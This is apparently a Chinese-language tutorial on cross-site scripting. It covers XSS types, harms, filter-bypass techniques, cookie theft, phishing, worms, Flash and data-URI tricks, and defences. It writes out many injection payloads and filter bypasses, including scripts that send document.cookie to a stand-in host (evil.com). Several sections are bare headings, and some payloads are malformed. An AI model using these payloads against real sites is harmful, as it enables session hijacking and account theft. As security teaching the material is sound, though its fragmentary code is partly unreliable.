1 什么是XSS跨站脚本
跨站脚本是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采取Cookie资料盗取、会话劫持、钓鱼欺骗等各种攻击。
XSS跨站脚本本身对WEB服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄执行。
2 为什么XSS跨站漏洞会如此普遍和流行?这是由多个因素造成的
2.1、Web 浏览器本身的设计是不安全的。浏览器包含了解析和执行JavaScript等脚本语言的能力,这些语言可用来创建各种格式丰富的功能,而浏览器只会执行,不会判断数据和程序代码是否恶意。
2.2、 输入与输出是Web应用程序最基本的交互,在这过程之中若没有做好安全防护,web程序很容易会出现XSS漏洞。
2.3、 现在的应用程序大部分是通过安全团队合作完成的,程序员之间的水平参差不齐,很少有人受过正规培训,因此,开发的产品难免出现问题。
2.4、不管是开发人员还是安全工程师,很多都没有真正意识到XSS的真正危害
2.5、触发跨站脚本的方式非常简单,只要向HTML代码中注入脚本即可
3 XSS跨站脚本实例
HTML的script元素标记中间包含JavaScript,这使浏览器知道:当它遇到这一标记时,不应该将此标记内容成HTML或XHTML,从这一点开始,对于内容的控制权已转移给另一个内置浏览器代理---脚本引擎处理。
XSS 攻击就是将非法的JavaScript、VBscript等脚本注入到用户浏览的网页上执行,而Web浏览器本身的设计是不安全的,它只负责解释和执行Javascript等脚本语言,而不会判断代码本身是否对用户有害。
4 XSS 可能会给网站和用户带来的危害简单概括如下:
4.1、网络钓鱼,包括盗取各类用户帐号;
4.2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作
4.3、劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转帐、强制发表日志、 发送电子邮件等
4.4、强制弹出广告页面、刷流量等
4.5、网页挂马
4.6、进行恶意操作,例如任意纂改页面信息、删除文章等
4.7、进行大量的客户端攻击,如DDoS攻击
4.8、获取客户端信息,例如用户浏览历史、真实IP、开放端口等
4.9、控制受害者机器向其他网站发起攻击
4.10、结合其他漏洞,如csrf漏洞,实施进一步作恶
4.11、提升用户权限,包括进一步渗透网站
4.12、传播跨站脚本蠕虫等
5 XSS分类
5.1、 反射型XSS
反射型xss利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意javaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。
5.2、 持久性XSS
6、XSS的发掘
众所周知,数据交互(即输入/输出)的地方最容易产生跨站脚本,因此,我们可以着重对网站的输入框、URL参数处进行测试。当然,所有来自COOKIE、POST表单、HTTP头的内容都可能会产生。
</textarea><script>alert(/XSS/)</script><textarea>
6.1、测试用例
<script>alert(1);</script>
<script>alert('XSS');</script>
<script src="http://www.evil.com/cookie.php"></script>
<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<IMG SRC=javascript:alert(String.fromChar(88,83,83))>
"><script>alert(0)</script>
......
6.2、XSS Filter
1、利用<>标记注射<script>Html/Javascript
如果用户可以随心所欲地引入<>等标记,那么他就能操作一个HTML标签,然后通过<script>标签就能任意插入由JavaScript或Vbscript编写的恶意脚本代码。
如:<script>alert('XSS');</script>
因此,XSSFilter首当其冲要进行过滤和转义的就是"<>"或<script>等字符。
如此一来,某些形式的XSS即不复存在。
2、利用HTML标签属性值执行XSS
假设用户不能构造自己的HTML标记,但是他们还可以使用其他形式来执行XSS,例如HTML标签的属性值。
很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的JavaScript代码,由JavaScript的解释器运行。
所以,用户可以利用部分HTML标记的属性值进行XSS,请看下面的代码:
<table backgroup="javascript:alert(/xss/)"></table>
<img src="javascript:alert('XSS');">
3、空格回车Tab
如果XSS Filter仅仅把敏感的输入字符例入黑名单,如对敏感自javascript而言,用户可以利用空格、回车和Tab键绕过限制,请看下面的例子:
<img src="javas cript:alert(/xss/)" width=100>
使用关键字拆分的技巧,用户就能突破过滤器的限制,当然,这种技巧不局限在[tab]键,还可以使用回车、空格之类的其他键位符。
4、对标签属性值转码
对普通HTML标记的属性值进行过滤,用户还可以通过编码处理来绕过,因此HTML中属性值本身支持ASCII码形式。ASCII码,即美国信息互换标准代码,是目前计算机最通用的编码标准。因为计算机只能接受数字信息,ASCII码将字符作为数字来表示,以便计算机能够接受和处理,比如大写字母A的ASCII码是65
根据HTML的属性值支持ASCII码的特性,把XSS代码:<img src="javascript:alert('xss');">
替换成:
<img src="javascript:alert(/xss/);">
所以,为了防范利用HTML标签属性值编码XSS,最好也过滤&#\等字符。
5、产生自己的事件
现在,假设用户不能依靠属性值进行跨站,那还有没有其他方法?答案是肯定的,事件就是其中一种方法
既然事件能让JavaScript代码运行,就意味着用户也能利用它执行跨站脚本如:
<img src="#" onerror=alert(/xss/)>
6、利用CSS跨站剖析
7、扰乱过滤规则
利用前面所述的各种技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利绕过XSS Filter的重重过滤。
程序员在汲取各种经验后,在开发过程中可能已经仔细考虑到各种触发XSS的情况,然后部署好严谨措施,如此一来,系统也变得更加牢固、安全。但不要太自信,请继续看下面示例:
大小写转换
大小写混淆
不用双引号,而用单引号
不使用引号
8、利用字符编码
HTML标签中的某些属性值可以使用&#ASCII方式进行编码改写,这种XSS转码支持十进制和十六进制形式。
为了方便测试,我们接下来使用一个XSS编码工具,以便对字符进行十进制和十六进制的编码解码,该工具还可以实现ESCAPE转码和解码
另外,在JavaScript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码
eval()也可以执行10进制形式的脚本,但需要配合String.fromCharCode()函数使用。String.fromcharcode()用于将字符转为ASCII值。
JavaScript支持unicode、escapes、十六进制、八进制等编码形式,这种编码技术如果运用于跨站攻击,无疑能大大加强XSS的威力。
9、拆分跨站法
XSS利用方式剖析
1 Cookie窃取攻击剖析
攻击者通常利用网站的XSS漏洞发起攻击。假设一个网站存在存储型XSS(或反射型XSS),攻击者就可以向漏洞页面写入窃取Cookie信息的恶意代码,在用户浏览XSS网页时,攻击者就能够获取受害者当前浏览器中的cookie会话攻击。
2 Cookie会话攻击原理剖析
<script
document.location="http://www.test.com/cookie.asp?cookie ="+document.cookie
</script>
3 Cookie 欺骗实例剖析
XSS Expliot如下:
http://127.0.0.1/Search.asp?Keyword=<script>var =new Image();x.src="http://127.0.0.1/cookie.asp?cookie="+document.cookie;</script>
XSS Phishing
XSS Phishing Expliot
http://www.bug.com/index.php?s=<script=http://www.evil.com/xss.js></script>
1、XSS重定向钓鱼
2、HTML注入式钓鱼
3、XSS跨框架钓鱼
4、Flash钓鱼
4 客户端信息刺探
1 javascript实现端口扫描
2 获取剪贴板内容
3 获取客户端IP地址
5 其它恶意攻击剖析
1 网页挂马
2 DDOS
3 XSS Virus/Worm
XSS测试和工具剖析
1、firebug
2、Tamper Data
3、Live HTTP Headers
4、Fiddler
5、XSS-Proxy
6、AttackAPI
7、Anehta
8、 XSS Shell
发掘XSS漏洞剖析
黑盒测试工具
1、Acunetix Web Vulnerability Scanner
2、XSSDetect
3、Ratproxy
黑盒手动测试
如果针对页面的输入框进行测试,首先可以输入一些触发XSS的敏感字符,如:
< > " ' & #
为了实现准确性和全面性,这里首先选择输入特殊字符进行测试。在输入框中输入"<XSS>"'&"并提交,然后在提交后的页面查看源代码,根据关键字“XSS”查找源代码中的"<XSS>"'&"是否已经被过滤和转义。如果连最基本的"<>"字符未被转义,说明这个输入框可能存在XSS漏洞,借此再构造完整XSS代码测试。
XSS Worm 剖析
一个完整的XSS Worm攻击流程如下
1、攻击者发现目标存在XSS漏洞,并且可以编写XSS蠕虫
2、利用一个宿主(如博客空间)作为传播源头进行XSS攻击
3、当其他用户访问北感染的空间时,XSS蠕虫执行以下操作
判断用户是否登录,如果已登录就执行下一步:如果没登录则执行其他操作
继续判断用户是否被感染,如果没有就将其感染,如果已感染则跳过
Flash应用安全
编译好flash文件,将文件命名为xss.swf,然后新建一个HTML文件并嵌入该Flash文件:
<object id="test" width="200" height="150">
<param name=movie value="Movie.swf">
<embed AllowScriptAccess="always" name='test' src="xss.swf" type="application/x-shockwave-flash" width="200" height="150">
</embed>
</object>
利用嵌入web页面中的Flash进行XSS有一个决定因素:allowScriptAccess属性。allowScriptAccess是使用<embed>或<object>标签引入Flash时提供的一个控制属性,决定了Flash是否能执行脚本代码。
Flash在客户端提供了两个控制属性:allowScriptAccess属性和allowNetworking属性,其中AllowScriptAccess控制Flash与HTML页面通信,如果设置不恰当会导致XSS;而AllowNetworking控制Flash与外部网络的通信,如果设置不当会导致CSRF。
深入XSS
利用Data URIS进行XSS剖析
Data URI方案和MHTML有些类似,提供了一种通过base64编码在网页中直接潜入文件的方法,利用该方法可以绕过基于黑名单过滤的XSS防御系统。
Data URI 格式:
data:[<mime type>] [;charset=<charset>][;base64],<encode data>
Data URI最有趣的地方是可以让用户把文件嵌入到其他文件中
Data URIS XSS
data URI提供了一个在HTML或者CSS文件中嵌入图片的方法,但没有严格指定嵌入的文件必须是图片,也就是说,我们可以在base64编码后嵌入任何类型的文件,甚至HTML本身。
<a href="data:text/html;base64,PHNj......">test<a>
<object data="data:text/html;base64,PHNj......"></object>
防御XSS攻击
1、使用XSS Filter
输入过滤
输出编码
黑名单和白名单
2、定制过滤策略
3、Web定制编码规范
4、防御DOM-Based XSS
5、其他防御方式
XSS与字符编码的那些事儿
html实体编码(10进制与16进制)
如把尖括号编码[<] ------>html十进制;< html十六进制:<
html实体编码本身存在的意义是防止与HTML本身语义标记的冲突,但是在XSS中却成为了我们的一大利器。
javascript的八进制跟十六进制
如把尖括号编码[<] ------> js八进制:\74 js十六进制:\x3c
jsunicode编码
如把尖括号编码[<] ------>jsunicode:\u003c
url编码base64
如把尖括号编码[<] ------>url: %3c base64: PA==
HTTP请求头
消息头 解释
Host 请求的域名
User-Agent 客户端浏览器型号
Accept 可接受的内容类型
Accept-Language 可接受的语言
Accept-Encoding 可接受的压缩类型
Accept-Charset 可接受的内容编码
Cookie 客户端的用户Cookie
if-Modified-Since 客户端的缓存的最后修改时间
if-None-Match 客户端缓存文件的标示符
HTTP响应报头
消息头 解释
Server Web服务器软件名称
Vary 告诉下游代理是使用缓存响应还是从原始服务请求
Date 原始服务器消息发出的时间
Last-Modified 请求资源的最后修改时间
Location 用来重定向接收方到非请求URL的位置来完成请求或标识新的资源
Content-Encoding Web服务器支持的返回内容压缩编码类型
Content-Type 返回内容的MIME类型
Content-Length 响应体的长度
Content-Language 响应的语言